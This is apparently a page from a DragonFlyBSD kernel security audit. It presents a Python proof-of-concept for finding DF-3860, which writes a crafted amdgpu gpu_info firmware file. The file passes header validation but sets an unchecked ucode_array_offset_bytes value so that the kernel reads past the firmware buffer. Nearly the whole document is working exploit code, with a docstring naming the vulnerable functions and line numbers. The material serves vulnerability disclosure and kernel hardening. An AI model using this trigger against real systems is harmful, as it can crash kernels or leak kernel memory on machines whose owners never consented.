⬢ DragonFlyBSD Kernel Audit
DF-3860 / make_gpuinfo_fw.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""DF-3860 trigger: craft an amdgpu gpu_info firmware file that passes
amdgpu_ucode_validate() but points ucode_array_offset_bytes far past the
buffer, so amdgpu_device_parse_gpu_info_fw() (amdgpu_device.c:1375-1396)
reads its 14 u32 config fields out of bounds.

Real struct layout (sys/dev/drm/amd/amdgpu/amdgpu_ucode.h):
struct common_firmware_header {          /* 32 bytes */
  0x00 u32 size_bytes;
  0x04 u32 header_size_bytes;
  0x08 u16 header_version_major;
  0x0A u16 header_version_minor;
  0x0C u16 ip_version_major;
  0x0E u16 ip_version_minor;
  0x10 u32 ucode_version;
  0x14 u32 ucode_size_bytes;
  0x18 u32 ucode_array_offset_bytes;   <-- attacker offset, UNVALIDATED
  0x1C u32 crc32;
};
struct gpu_info_firmware_header_v1_0 {  /* 36 bytes = common + 2*u16 */
  struct common_firmware_header header;
  u16 version_major;                    /* must be 1 (switch at :1372) */
  u16 version_minor;
};

Validation performed by amdgpu_ucode_validate() (amdgpu_ucode.c:251-260):
fw->datasize == size_bytes. That is the ONLY check on the way to the OOB.
"""
import struct, sys

OUT = sys.argv[1] if len(sys.argv) > 1 else "amdgpufw_vega10_gpu_info"
OFFSET = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0x7fff0000

SIZE_BYTES = 36             # == datasize of this crafted file -> validate() passes
hdr  = struct.pack("<I", SIZE_BYTES)      # size_bytes
hdr += struct.pack("<I", 36)              # header_size_bytes
hdr += struct.pack("<HH", 1, 0)           # header_version 1.0
hdr += struct.pack("<HH", 1, 0)           # ip_version
hdr += struct.pack("<I", 1)               # ucode_version
hdr += struct.pack("<I", 60)              # ucode_size_bytes (payload struct)
hdr += struct.pack("<I", OFFSET)          # ucode_array_offset_bytes (the bomb)
hdr += struct.pack("<I", 0)               # crc32 (never checked)
hdr += struct.pack("<HH", 1, 0)           # gpu_info version_major/minor (1.x)

assert len(hdr) == SIZE_BYTES == 36, len(hdr)
open(OUT, "wb").write(hdr)
print("wrote %s (%d bytes): datasize==size_bytes==%d passes amdgpu_ucode_validate;"
      " ucode_array_offset_bytes=0x%x -> amdgpu_device.c:1379-1396 reads fw->data+0x%x..+60"
      % (OUT, len(hdr), SIZE_BYTES, OFFSET, OFFSET))